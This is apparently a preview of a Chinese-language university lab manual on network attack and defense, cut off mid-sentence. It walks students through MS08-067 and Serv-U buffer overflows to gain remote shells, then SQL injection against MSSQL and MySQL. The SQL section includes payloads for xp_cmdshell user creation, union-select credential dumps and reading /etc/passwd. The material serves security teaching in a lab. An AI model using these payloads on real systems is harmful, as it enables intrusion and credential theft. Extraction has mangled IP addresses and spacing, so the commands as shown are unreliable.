網絡攻防實驗指導書_第1頁
網絡攻防實驗指導書_第2頁
網絡攻防實驗指導書_第3頁
網絡攻防實驗指導書_第4頁
網絡攻防實驗指導書_第5頁
已閱讀5頁,還剩97頁未讀 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

目錄1.服務器溢出攻擊 11.1.基于MS08067漏洞遠程溢出 11.2.基于Serv-U漏洞的遠程溢出 62.SQL注入攻擊 102.1.針對MSSQL環(huán)境的SQL注入攻擊 102.2.針對PHP和MySQL環(huán)境的SQL注入攻擊 183.口令破解攻擊 263.1.網絡服務口令遠程破解 263.2.Windows系統(tǒng)口令本地破解 313.3.Unix系統(tǒng)口令本地破解 374.遠程控制和后門攻擊 444.1.用戶態(tài)正向遠程控制 444.2.用戶態(tài)反向遠程控制 544.3.Windows系統(tǒng)的Webshell后門 634.4.Unix系統(tǒng)的Webshell后門 805. 數據庫SQL注入防御 895.1.SQL通用防注入系統(tǒng)的部署 896. 數據截獲攻擊防御 966.1.ARP攻擊防御的設置 961.服務器溢出攻擊1.1.基于MS08067漏洞遠程溢出[實驗目的]掌握通過MS08067RPC漏洞遠程溢出Windows主機獲取系統(tǒng)權限的技術方法。掌握Netcat工具的使用方法。掌握通過tftp傳輸文件的使用方法。[實驗內容]利用MS08067RPC漏洞,遠程溢出Windows主機,獲得目標主機的命令提示符(CMDShell),能夠以系統(tǒng)權限遠程執(zhí)行命令。溢出成功獲取遠程CMDShel之后,驗證所獲得的權限,并獲取遠程主機的敏感信息。通過遠程CMDShell,上傳二進制文件。[實驗環(huán)境]學生實驗主機:Windows2000/XP/Server2003。實驗目標服務器:WindowsWorkstationD。網絡環(huán)境:局域網。[實驗原理]MS08-067漏洞的全稱為“WindowsServer服務RPC請求緩沖區(qū)溢出漏洞”,如果用戶在受影響的系統(tǒng)上收到特制的RPC請求,則該漏洞可能允許遠程執(zhí)行代碼。MS08-067漏洞影響除WindowsServer2008Core/7以外的所有Windows系統(tǒng),包括Windows2000/XP/Server2003/Vista/Server2008的各個版本。MS08-067漏洞原理Windows系統(tǒng)中的netapi32.dll!NetpwPathCanonicalize在解析路徑名時存在堆棧上溢的漏洞,攻擊者可以傳入精心構造的路徑參數來覆蓋掉函數的返回地址,從而執(zhí)行遠程代碼。攻擊者可以通過RPC發(fā)起請求,該請求的處理在svchost.exe中實現,導致svchost.exe發(fā)生遠程溢出。

下面以5.1.2600.2180版本為例分析該漏洞的成因:.text:5B86A259NetpwPathCanonicalizeprocnear.text:5B86A2AF pushedi ;int.text:5B86A2B0 push [ebp+arg_8] ;int.text:5B86A2B3 mov [esi],di.text:5B86A2B6 pushesi ;int.text:5B86A2B7 push [ebp+pPolicyChain] ;pathname.text:5B86A2BA pushebx ;int.text:5B86A2BB call CanonicalizePathName.text:5B86A2C0 cmpeax,edi.text:5B86A2C2 jnz short@@Return.text:5B86A2D2NetpwPathCanonicalizeendp.text:5B86A2E0CanonicalizePathNameprocnear.text:5B86A37D pusheax ;str.text:5B86A37E call DoCanonicalizePathName.text:5B86A383 testeax,eax.text:5B86A385 jz short@@Return_0x7B.text:5B86A3C7CanonicalizePathNameendpNetapi32.dll!NetpwPathCanonicalize函數通過內部函數CanonicalizePathName來處理傳入的路徑。該函數又調用內部函數DoCanonicalizePathName來實現真正的處理過程,該漏洞的溢出點則是出現在DoCanonicalizePathName函數中:該函數首先把路徑中的’/’全部轉成’\’,然后試圖修改傳入的路徑緩沖區(qū)來得到相對路徑。比如:.\\abc\123\..\a\..\b\.\c將被處理成:\abc\b\c該函數在處理相對路徑時,使用兩個指針分別保存前一個斜杠(后面用’\’表示)和當前’\’的指針,如下所示:\abc\a\..\b^^|||+當前’\’指針(后文表示為CurrentSlash)+前一個’\’指針(后文表示為PrevSlash)當該函數掃描到’..\’時,會把CurrentSlash開始的數據復制到PrevSlash開始的內存空間處,然后(!漏洞就在這里!)從當前的PrevSlash指針減1的位置開始向前(低地址處)搜索’\’來重新定位PrevSlash,搜索截止條件為PrevSlash等于路徑緩沖區(qū)的起始地址。下面是該函數的處理過程:.text:5B87879C@@LoopSearchSlash:.text:5B87879C mov [ebp+PrevSlash],edi.text:5B87879F movesi,edi.text:5B8787A1 lea eax,[edi-2].text:5B8787A4 jmpshort@@IsSlash?.text:5B8787A6.text:5B8787A6@@LoopSearchBack:.text:5B8787A6 cmpeax,[ebp+BufferStart].text:5B8787A9 jz short@@EndOfSearch.text:5B8787AB deceax.text:5B8787AC deceax.text:5B8787AD.text:5B8787AD@@IsSlash?:.text:5B8787AD cmpwordptr[eax],'\'.text:5B8787B1 jnz short@@LoopSearchBack.text:5B8787B3.text:5B8787B3@@EndOfSearch:考慮下面的情況:\..\a^^| || +CurrentSlash+PrevSlash當完成對’..\’的替換后,緩沖區(qū)的內容為:’\a’。這時,按照該函數的算法,把PrevSlash減1并開始向前搜索’\’,此時PrevSlash已經向前越過了路徑緩沖區(qū)的起始地址,所以該函數的截止條件失效,導致該函數會一直向堆棧的低地址空間搜索(上溢出)。如果在低地址處正好搜到一個’\’,則會把CurrentSlash之后的數據復制到堆棧中’\’開始的地方,并覆蓋掉堆棧中的正常數據。攻擊者可以通過傳入精心構造的路徑數據來覆蓋掉函數的返回地址來執(zhí)行代碼。[實驗過程]1.使用telnet.exe或者nc.exe(網絡瑞士軍刀netcat程序)連接目標工作站主機(即WindowsWorkstationD,IP地址為04)的RPC相關端口,如139、445等,確認目標主機的RPC服務工作正常。telnet04445或者nc044452. 打開一個“命令提示符”,進入實驗工具目錄,運行ms08067_exp.exe,查看可用參數。從圖中可以看出,“ms08067_exp.exe”只提供“正向連接型”溢出攻擊方式:ms08067_exp.exe<目標主機IP地址>3. 再次運行ms08067_exp.exe,加入目標主機IP地址參數,實施溢出:ms08067_exp.exe04其中04為目標主機IP地址。4. 進入實驗工具目錄,使用nc.exe去嘗試連接目標主機的“4444”端口:nc.exe044444如果前面溢出成功,那么就能夠連接成功,在nc的命令提示符窗口中就會獲得如下圖所示的CMDShell。5. 在CMDShell中進行如下一些操作:運行“ver”命令來查看遠程主機的操作系統(tǒng)版本信息。運行“ipconfig/all”命令來查看遠程主機的網絡地址信息。運行“hostname”命令來查看遠程主機的主機名稱。請將所有獲得的信息寫入實驗報告。由于WindowsXP系統(tǒng)中默認沒有“whoami.exe”程序(該工具能夠查看當前對應的用戶是誰,因此能夠判斷擁有什么樣的權限)。因此我們需要上傳我們本地的“whoami”程序。6. 進入實驗工具目錄,運行tftpd32.exe程序,在本地開啟一個tftp的后臺服務程序。在“ServerAddress”下拉框中選擇“”這個IP地址,(即VMwareNetworkAdapterVMnet8分配的地址)。此外,在“BaseDirectory”文本框中可以看到TFTP服務的根目錄,默認為tftpd32.exe所在的目錄,需保證要上傳到目標主機的whoami.exe也在同一根目錄中。7. 回到前面遠程溢出并連接上獲得的CMDShell,輸入“tftp”指令回車運行,查看可用參數。從圖中可以看出tftp的參數含義:-i可選項。采用二進制模式傳輸文件,如在傳輸可執(zhí)行文件時需要。Host指定TFTP服務器地址。GET從TFTP服務器下載文件。PUT向TFTP服務器上傳文件。source指定要被傳輸的文件,即文件的源地址。destination可選項。指定向哪里傳輸文件,即文件的目的地址。默認為TFTP服務的根目錄。8. 在CMDShell,輸入如下指令從本地主機上下載文件(對于本地主機來說就是向目標主機上傳文件)。tftp-iGETwhoami.exe此時,在本地主機的TFTP服務窗口界面可以看到已經將whoami.exe文件順利傳送到04去了:9. 在CMDShell中進行如下一些操作:運行“dirwhoami.exe”命令來查看是否傳送whoami.exe文件成功。運行“whoami”命令查看溢出之后所獲得的權限。請將所有獲得的信息寫入實驗報告。10.查閱網絡資料,研究在遠程溢出的CMDShell中除了通過tftp之外還可以通過哪些方法上傳文件到目標主機。請將各種技術方法及實現細節(jié)寫入實驗報告。1.2.基于Serv-U漏洞的遠程溢出[實驗目的]掌握遠程溢出Serv-UFTP服務器獲取系統(tǒng)權限的技術方法。[實驗內容]利用Serv-UMDTMTimeZone棧溢出漏洞,在已知登錄用戶名和密碼的條件下,遠程溢出Serv-UFTP服務器,獲得目標服務器的命令提示符(CMDShell),能夠以系統(tǒng)權限遠程執(zhí)行命令。溢出成功獲取遠程CMDShell之后,驗證所獲得的權限,并獲取遠程主機的敏感信息。[實驗環(huán)境]學生實驗主機:Windows2000/XP/Server2003。實驗目標服務器:WindowsServerA。網絡環(huán)境:局域網。[實驗原理]現在很多企業(yè)都將自己的網站建立在互聯網上,日常有專門的維護人員進行維護。很多時候對網站的更新不可能直接在服務器上操作,而是將更新的網頁頁面通過FTP工具上傳到服務器上來實現。因此,必須在服務器上搭建一個FTP系統(tǒng)。一般來說,Windows系統(tǒng)自帶的IISFTP服務使用很不方便,對FTP用戶采用不易管理的集成系統(tǒng)方式進行認證,因此使用的人較少。在眾多的第三方FTP服務軟件中,Serv-U是一個非常熱門的軟件,由于功能強大、設置簡單、性能穩(wěn)定而被廣泛使用。它提供的設置包括:用戶密碼、權限指派、IP登錄限制、斷點續(xù)傳、帶寬限定等。但是,Serv-U卻曾經出現過若干個非常嚴重的遠程緩沖區(qū)溢出漏洞。我們來看其中一個“Serv-U服務器MDTM指令遠程溢出區(qū)漏洞缺陷”。該漏洞受影響的Serv-U版本包括:RhinoSoftServ-U5.0RhinoSoftServ-U4.xRhinoSoftServ-U3.xRhinoSoftServ-U2.x該漏洞描述如下:Serv-U在處理“MDTM”命令的參數時缺少正確的緩沖區(qū)邊界檢查,遠程攻擊者可以利用這個漏洞對FTP服務程序進行緩沖區(qū)溢出攻擊,可能以FTP進程權限在系統(tǒng)上執(zhí)行任意指令。Serv-U提供FTP命令“MDTM”用于用戶更改文件時間,當用戶成功登錄系統(tǒng),并發(fā)送畸形超長的時區(qū)數據作為命令參數,可觸發(fā)緩沖區(qū)溢出,精心構建參數數據可能以FTP進程權限在系統(tǒng)上執(zhí)行任意指令。利用此漏洞需要用戶擁有合法帳戶登錄到系統(tǒng),但不需要寫及其他權限。Serv-UMDTM漏洞利用原理Windows提供了一種在每個線程之間獨立的異常處理方法-SEH(StructuredExceptionHandling,結構化異常處理)。SEH允許在發(fā)生緊急情況(例如內存訪問錯誤)時,由應用程序獲取控制權并自主處理,無需操作系統(tǒng)干預。在大部分情況下,指向結構化異常處理程序的指針都保存在棧的SEH幀中,每個SHE記錄都是一個EXCEPTION_REGISTRATION結構,大小為8個字節(jié):指向下一個SEH記錄的指針異常處理程序地址 這樣一來,基于幀的異常處理程序就相互連接成一個鏈表,如下圖所示:指向下一個SEH記錄的指針異常處理程序地址……指向下一個SEH記錄的指針異常處理程序地址……Win32進程里的每個線程在創(chuàng)建之初至少有一個異常處理程序。每個線程的第一個EXCEPTION_REGISTRATION結構的地址可以在環(huán)境塊(用匯編格式表示是FS:[0])中找到。異常發(fā)生后,系統(tǒng)將遍歷整個異常處理程序鏈表,直至找到恰當的處理程序(能迅速處理異常)為止。Serv-UMDTM漏洞利用的具體原理就是通過對溢出過程進行分析,確定溢出時的處理程序,它的SEH在棧上的位置,然后用包含Shellcode地址的指針改寫處理程序的地址,獲得控制權。至于如何改寫指向處理程序的指針,執(zhí)行緩沖區(qū)中的代碼:在沒打補丁的Windows2K/XP上,EBX寄存器指向當前的EXCEPTION_REGISTRATION結構,也就是指向我們正要改寫的結構。因而,我們可以用指向jmpebx或callebx指令地址的指針,改寫指向真正異常處理程序的指針。這樣,當執(zhí)行“處理程序”時,會陷入我們改寫的EXCEPTION_REGISTRATION結構。修改后的EXCEPTION_REGISTRATION結構如下圖所示:然而,在Windows2003和WindowsXPSP1及更新版本的系統(tǒng)上就不是這樣了。EBX不再指向EXCEPTION_REGISTRATION結構。但是在調用異常處理程序之后立即檢查棧,發(fā)現:ESP=SavedReturnAddressESP+4=PointertotypeofexceptionESP+8=AddressofEXCEPTION_REGISTRATIONstructure于是,我們可以用指向一段執(zhí)行如下指令的代碼的地址改寫異常處理程序的地址:popregpopregret每條POP指令執(zhí)行后ESP減4,所以當執(zhí)行RET時,ESP正好指向用戶提交的數據。RET取走棧頂的地址ESP),并把執(zhí)行流程返回那里。修改后的EXCEPTION_REGISTRATION結構如下圖所示:[實驗過程]1. 使用匿名用戶(用戶名為ftp,密碼為ftp)訪問目標Serv-UFTP服務器,即WindowsServerA,IP地址為01,確認FTP服務器及登錄用戶名和密碼正常。2. 打開一個“命令提示符”,進入實驗工具目錄,運行sv.exe,查看可用參數。從圖中可以看出,利用sv.exe攻擊遠程Serv-U服務器存在MDTM指令遠程緩沖區(qū)溢出漏洞計算機方式由3種:sv.exe<目標Serv-U服務器IP地址><Serv-U服務器端口><FTP登錄用戶名><FTP登錄密碼> 這一般稱之為“正向連接型”溢出。sv.exe<目標Serv-U服務器IP地址><Serv-U服務器端口><FTP登錄用戶名><FTP登錄密碼> <讓Serv-U服務器下載程序并執(zhí)行的網頁鏈接地址>這一般稱之為“下載執(zhí)行型”溢出。sv.exe<目標Serv-U服務器IP地址><Serv-U服務器端口><FTP登錄用戶名><FTP登錄密碼> <本地計算機IP地址><本地監(jiān)聽端口>這一般稱之為“反向連接型”溢出。3、我們使用sv.exe的第一種方式(正向連接型):運行如下帶參數的sv.exe實施溢出:sv.exe0121ftpftp其中01為目標服務器IP地址;21為目標服務器監(jiān)聽端口;ftp和ftp分別為登錄用戶名和密碼。溢出之后,會提示你嘗試去其連接目標主機的“8111”端口,看是否能夠獲得一個綁定在該端口上的系統(tǒng)CommandShell。4.進入實驗工具目錄,使用nc.exe(網絡瑞士軍刀netcat程序)去嘗試連接目標主機的“8111”端口:nc.exe018111如果前面溢出成功,那么就能夠連接成功,在nc的命令提示符窗口中就會獲得如下圖所示的CMDShell。5. 在CMDShell中進行如下一些操作:運行“ver”命令來查看遠程主機的操作系統(tǒng)版本信息。運行“ipconfig/all”命令來查看遠程主機的網絡地址信息。運行“hostname”命令來查看遠程主機的主機名稱。運行“whoami”命令查看溢出之后所獲得的權限。請將所有獲得的信息寫入實驗報告。請查閱有關資料,在命令行Shell下運行若干命令后獲得遠程主機上的如下信息:所有用戶列表。管理員組用戶列表。Administrator用戶的詳細信息。系統(tǒng)運行服務的信息。端口連接狀況(包括監(jiān)聽端口)。請將所有獲得的信息寫入實驗報告。試分析在該遠程CmdShell中還可以執(zhí)行什么操作,認識緩沖區(qū)溢出的強大攻擊性和危害。請將心得體會寫入實驗報告。

2.SQL注入攻擊2.1.針對MSSQL環(huán)境的SQL注入攻擊[實驗目的]掌握針對ASP/ASPX+MSSSQL環(huán)境的SQL注入攻擊手段。理解SQL注入的危害性以及防范SQL注入攻擊的必要性。[實驗內容]探測Web服務器網頁的SQL注入點。學會使用Pangolin工具實施SQL注入攻擊。通過SQL注入來查看數據庫及操作系統(tǒng)的敏感信息。通過SQL注入來查看數據庫的庫、表、字段及數據內容。通過SQL注入來列舉操作系統(tǒng)上的文件目錄結構。通過SQL注入來運行系統(tǒng)命令。[實驗環(huán)境]學生實驗主機:Windows2000/XP/Server2003。實驗目標服務器:WindowsServerA。網絡環(huán)境:局域網。[實驗原理]隨著B/S(Browser/Server,瀏覽器/服務器)模式應用開發(fā)的發(fā)展,使用B/S模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。攻擊者可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,繞過登錄驗證,甚至執(zhí)行系統(tǒng)命令、上傳后門文件等,這就是所謂的SQLInjection,即SQL注入。SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以常見防火墻都不會對SQL注入發(fā)出警報,如果管理員沒有查看網站日志的習慣,可能被入侵很長時間都不會發(fā)覺。但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況,因此需要根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據。一般來說,SQL注入一般存在于形如:http://xxx.xxx.xxx/abc.asp?id=XX等帶有參數的ASP動態(tài)網頁中,有時一個動態(tài)網頁中可能只有一個參數,有時可能有多個參數,有時是整型參數,有時是字符串型參數,不能一概而論??傊灰菐в袇档膭討B(tài)網頁且此網頁訪問了數據庫,那么就有可能存在SQL注入。如果ASP程序員沒有安全意識,不進行必要的字符過濾,存在SQL注入的可能性就非常大。探測Web服務器網頁的SQL注入點下面,我們從SQL語句的角度來分析SQL注入技術的原理:1、整型參數情況當輸入的參數XX為整型時,通常abc.asp中SQL語句原貌大致如下: select*from[表名]where[字段]=XX所以可以用以下步驟測試SQL注入是否存在:①http://xxx.xxx.xxx/abc.asp?p=XX'此時abc.asp中的SQL語句變成了select*from[表名]where[字段]=XX'abc.asp運行異常;②http://xxx.xxx.xxx/abc.asp?p=XXand1=1此時abc.asp中的SQL語句變成了select*from[表名]where[字段]=XXand1=1abc.asp運行正常,而且與http://xxx.xxx.xxx/abc.asp?p=XX運行結果相同;③http://xxx.xxx.xxx/abc.asp?p=XXand1=2此時abc.asp中的SQL語句變成了select*from[表名]where[字段]=XXand1=2abc.asp運行異常。2、字符串型參數情況當輸入的參數XX為字符串時,通常abc.asp中SQL語句原貌大致如下: select*from[表名]where[字段]='XX'所以可以用以下步驟測試SQL注入是否存在:①http://xxx.xxx.xxx/abc.asp?p=XX'此時abc.asp中的SQL語句變成了select*from[表名]where[字段]='XX''abc.asp運行異常;②http://xxx.xxx.xxx/abc.asp?p=XX'and'1'='1此時abc.asp中的SQL語句變成了select*from[表名]where[字段]='XX'and'1'='1'abc.asp運行正常,而且與HTTP://xxx.xxx.xxx/abc.asp?p=XX運行結果相同;③http://xxx.xxx.xxx/abc.asp?p=XX'and‘1'='2此時abc.asp中的SQL語句變成了select*from[表名]where[字段]='XX'and'1'='2'abc.asp運行異常。查看數據庫及操作系統(tǒng)的敏感信息一般來說,與IIS+ASP搭配的后臺數據庫服務器中,ACCESS與MSSQLServer是最常用的。盡管它們都支持T-SQL標準,但還有不同之處,而且不同的數據庫有不同的攻擊方法,必須要區(qū)別對待。MSSQLServer有user、db_name()、@@version、host_name()等內置的系統(tǒng)變量,利用這些系統(tǒng)值不僅可以判斷MSSQLServer,而且還可以得到大量有用信息。而Access則沒有這些系統(tǒng)變量。默認情況下,IIS服務器的“腳本錯誤的錯誤消息”設置為“向客戶端發(fā)送詳細的ASP錯誤消息”,如下圖所示:并且MSSQLServer也返回錯誤提示的話,那我們就可以直接從網頁的出錯信息中獲取這些信息。如:/news.asp?id=1anduser>0這句語句很簡單,但卻包含了MSSQLServer特有注入方法的精髓。讓我們來看看它的含義:首先,前面的語句是正常的,重點在anduser>0,我們知道,user是MSSQLServer的一個內置變量,它的值是當前連接的用戶名,類型為nvarchar。把一個nvarchar的值跟int的數0比較,系統(tǒng)會先試圖將nvarchar的值轉成int型。當然,轉換的過程中肯定會出錯,MSSQLServer的出錯提示是:這里,“dbo”正是變量user的值。這樣,數據庫的用戶名就很容易拿到了。同樣的,利用MSSQLServer中user、db_name()、@@version、host_name()等內置的系統(tǒng)變量,就可以得到大量有用信息。查看數據庫的庫、表、字段及數據內容遍歷數據庫名稱在MSSQLServer數據庫中,有一個內置的系統(tǒng)表:[master]..[sysdatabases],里面存放了所有的數據庫名稱。我們所需要做的就是,構造網頁鏈接訪問網站,循環(huán)遍歷[master]..[sysdatabases]表,通過IIS錯誤回顯,將存儲在該表中的數據庫名稱逐個展現在我們面前。遍歷數據表名稱在MSSQLServer數據庫中,每個數據庫都有一個內置的系統(tǒng)表:[DBNAME]..[sysobjects],里面存放了所有的數據表名稱。其中xtype字段表明了數據表的類型,值為’U’(Ascii值等于85)的數據表為用戶創(chuàng)建的。我們所需要做的就是,構造網頁鏈接訪問網站,循環(huán)遍歷[DBNAME]..[sysobjects]表,通過IIS錯誤回顯,將存儲在該表中的數據表名稱逐個展現在我們面前。遍歷數據表字段名稱在MSSQLServer數據庫中,每個數據庫都有一個內置的系統(tǒng)表:[DBNAME]..[syscolumns],里面存放了所有的數據字段名稱。其中id字段表明了該數據字段屬于哪個數據表。我們所需要做的就是,構造網頁鏈接訪問網站,循環(huán)遍歷[DBNAME]..[syscolumns]表,通過IIS錯誤回顯,將存儲在該表中的數據字段名稱逐個展現在我們面前。遍歷數據表內容與前類似,我們所需要做的就是,構造網頁鏈接訪問網站,循環(huán)遍歷[DBNAME]..[TABLENAME]表,通過IIS錯誤回顯,將存儲在該表中的所有內容逐個展現在我們面前。列舉操作系統(tǒng)上的文件目錄結構為了列舉操作系統(tǒng)磁盤中某一目錄的詳細結構,包括其中的所有子目錄和文件,我們可以利用一個MSSQL數據庫的擴展存儲過程:xp_dirtree。比如,我們可以構造如下網頁鏈接語句:/news.asp?id=1;DROPTABLETempTable;CREATETABLETempTable([subdirectory]varchar(256)NULL,[depth]tinyintNULL,[file]bitNULL);INSERTTempTableexecmaster..xp_dirtreec:\",1,1;--執(zhí)行的產物是創(chuàng)建了一個臨時表TempTable,在該表中存放了xp_dirtree擴展存儲過程的執(zhí)行結果,即C盤驅動器目錄(或者其他磁盤驅動器)中所有的子目錄和文件。通過SQL注入來運行系統(tǒng)命令在MSSQL數據庫服務器所支持的SQL語言中,字符“;”(分號)用于分割多條SQL語句;而字符串“--”表示跟在后面的內容為注釋,不將被執(zhí)行。同樣,假設某網站的一個網頁地址為:/news.asp?id=1當我們構造如下網頁鏈接語句的時候:/news.asp?id=1;execxp_cmdshell"netusereric/add";--遞交給MSSQL數據庫的執(zhí)行內容為:select*fromnewswhereid=1;execxp_cmdshell"netusereric/add";--這樣,數據庫將會順序執(zhí)行兩條SQL指令:1) select*fromnewswhereid=12) execxp_cmdshell"netusereric/add"第一條指令將會使得網頁順利返回正常的查詢結果;而第二條將使得我們能夠執(zhí)行系統(tǒng)命令,向系統(tǒng)中添加一個名為eric的用戶(其實可以是其他各種SQL語句,包括存儲過程、擴展存儲過程等所有SQL語句)。這是因為我們這里調用的xp_cmdshell是MSSQL數據庫中非常重要的一項擴展存儲過程,能夠使得數據庫以SYSTEM權限執(zhí)行操作系統(tǒng)本身的命令(cmd.exe)。[實驗過程]1.在本地主機上通過InternetExplorer等Web瀏覽器訪問目標Web服務器(即WindowsServerA,IP地址為01)的主頁。01/點擊其中的某一新聞鏈接后即訪問顯示出具體的某一新聞內容。比如01/news.aspx?id=12.在訪問的網頁URL地址后加上一個單引號(')繼續(xù)訪問,即01/news.aspx?id=1',如下圖所示:從圖中可以看到數據庫連接出錯消息中可以看到如下錯誤消息“字符串''之前有未閉合的引號?!?,也就是單引號沒有閉合的意思。3.繼續(xù)手動測試SQL注入是否存在:訪問如下網頁URL地址:01/news.aspx?id=1and1=1以及01/news.aspx?id=1and1=2其中訪問第一個網頁地址的情況與正常情況相同,而訪問第二個網頁地址則一片空白,即新聞文檔不存在的意思。4.進入實驗工具目錄,雙擊運行Pangolin程序(pangolin.exe),在注入地址“URL”輸入框中輸入01/news.aspx?id=1然后點擊工具欄中的按鈕開始自動檢測SQL注入漏洞情況。從檢測結果中可以看到,該網站的SQL注入類型為“Integer(字符型)”,后臺數據庫類型為“MSSQLwithError”。Panglin能夠自動檢測網頁的關鍵字符串(KeyWord),即網頁能否正常顯示以及不能正常顯示的差異內容。這可以通過“Edit”→“Settings”→“Advance”中的”Auto-analyzingkeyword”選項進行設置。5.在主界面中的“Information”選項卡中,點擊“SelectAll”按鈕選擇所有信息類型,包括下面所列舉的“Version”、“DbName”、“ServerName”等,然后點擊“Go”按鈕開始探測目標服務器的基本信息。請將基本信息的探測結果寫入實驗報告。6.在主界面中選擇“Data”選項卡,點擊左下方的“Tables”按鈕來枚舉目標當前數據庫中存在的所有數據表的名稱。7.點擊選擇數據庫中的“admin”表,然后點擊下方的“Columns”按鈕來枚舉該數據表中所有的數據列名。展開“admin”表前面的“+”號可以查看詳細的列名信息。8.勾選感興趣的數據表以及其中的數據列,如admin表中的id、username以及password列,然后點擊右側的“Datas”按鈕則可以枚舉該表中的所有數據項內容。在這里,我們還可以通過自定義查詢條件來自定義查詢所感興趣的數據內容,默認為“1=1”表示所有的數據內容。比如我們可以輸入:usernamelike'%admin%'請將當前數據庫中[admin]、[news]表的結構以及數據內容,全部寫入實驗報告。

9.在主界面中選擇“Command”選項卡,然后在“Command”輸入框中輸入要在目標服務器上執(zhí)行的系統(tǒng)命令,比如“ipconfig”等;在“Type”下拉框中選擇執(zhí)行命令的技術方法,默認為“xp_cmdshell”,其他可選的主要方法有“sp_oa***”等。最后點擊右側的“Execute”按鈕執(zhí)行命令,可在下方的黑色文本框中看到執(zhí)行結果。請將執(zhí)行“netuser”命令的結果寫入實驗報告。10.選擇“type”為“sp_oa***”,嘗試執(zhí)行添加用戶的命令操作,然后查看是否也能夠成功。查閱網絡資料,研究通過“sp_oa***”方法執(zhí)行系統(tǒng)命令這個方法的技術原理。請將研究分析的心得體會寫入實驗報告。11.在主界面中選擇“DirTree”選項卡,然后點擊“Drivers”按鈕列舉目標服務器上的所有驅動器。雙擊“C:\”節(jié)點可以進一步展開獲得C:\根目錄下的所有子目錄和文件,依次可以獲得磁盤上的目錄結構。12.雙擊某一文件,可以在右側的文本框中顯示文件的詳細內容。13.仔細查看“C:\inetpub\wwwroot”目錄中的網站文件,獲得連接后臺MSSQL數據庫的賬號和密碼。請將查看后的分析結果寫入實驗報告。2.2.針對PHP和MySQL環(huán)境的SQL注入攻擊[實驗目的]掌握針對PHP+MySQL環(huán)境的SQL注入攻擊手段。理解SQL注入的危害性以及防范SQL注入攻擊的必要性。[實驗內容]探測Web服務器網頁的SQL注入點。學會使用Casi工具實施SQL注入攻擊。通過SQL注入來查看數據庫及操作系統(tǒng)的敏感信息。通過SQL注入來查看數據庫的庫、表、字段及數據內容。通過SQL注入來讀取列舉操作系統(tǒng)上的文件內容。[實驗環(huán)境]學生實驗主機:Windows2000/XP/Server2003。實驗目標服務器:LinuxServerC。網絡環(huán)境:局域網。[實驗原理]隨著B/S(Browser/Server,瀏覽器/服務器)模式應用開發(fā)的發(fā)展,使用B/S模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。攻擊者可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,繞過登錄驗證,甚至執(zhí)行系統(tǒng)命令、上傳后門文件等,這就是所謂的SQLInjection,即SQL注入。SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以常見防火墻都不會對SQL注入發(fā)出警報,如果管理員沒有查看網站日志的習慣,可能被入侵很長時間都不會發(fā)覺。但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況,因此需要根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據。隨著B/S(Browser/Server,瀏覽器/服務器)模式應用開發(fā)的發(fā)展,使用B/S模式編寫。我們以經典的“夜貓下載系統(tǒng)”作為PHP注入的示例。存在問題(數字型注入)的網站腳本示例為“ymdown/show.php”,存在漏洞的關鍵代碼如下:require("./include/config.inc.php");require("./global.php");mysql_connect($dbhost,$dbuser,$dbpasswd)ordie("數據庫連接失敗");$downid="down".$down;$sql="SELECT*FROM$down_tableWHEREid=$id";$result=mysql_db_query($dbname,$sql);$obj=mysql_fetch_object($result);…正常訪問這是正常訪問時候的頁面:http://[serverhost]/ymdown/show.php?id=1添加單引號訪問我們在后面添加一個“單引號”,如下所示:http://[serverhost]/ymdown/show.php?id=1'"1=11=2"注入漏洞判別http://[serverhost]/ymdown/show.php?id=1and1=1頁面正常顯示。http://[serverhost]/ymdown/show.php?id=1and1=2頁面如下所示:獲取該數據表的字段數http://[serverhost]/ymdown/show.php?id=1unionselect1http://[serverhost]/ymdown/show.php?id=1unionselect1,2…h(huán)ttp://[serverhost]/ymdown/show.php?id=1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18顯示出錯結果如下圖所示:http://[serverhost]/ymdown/show.php?id=1andunionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19顯示正常結果如下圖所示:獲取數據庫信息獲取數據庫版本信息http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18,19獲取數據庫連接用戶名稱http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17,18,19獲取數據庫名稱http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19猜測數據庫表名,數據庫表字段猜測數據庫表名http://[serverhost]/ymdown/show.php?id=1and1=1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19from[TABLENAME]猜測數據庫表字段http://[serverhost]/ymdown/show.php?id=1and1=1unionselect[COLUMNNAME],2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19from[TABLENAME]查詢數據庫表內容http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,[COLUMNNAME1],3,4,5,6,7,8,9,10,11,[COLUMNNAME2],13,14,15,16,17,18,19from[TABLENAME]whereid=1[注]:可以指定數據庫的查詢條件,只需替換"WHEREid=1"中的"id=1"即可。http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,username,3,4,5,6,7,8,9,10,11,password,13,14,15,16,17,18,19fromymdown_userwhereid=1結果如下圖所示:讀取文本文件內容http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,load_file('/etc/passwd'),13,14,15,16,17,18,19[實驗過程]在本地主機上通過InternetExplorer等Web瀏覽器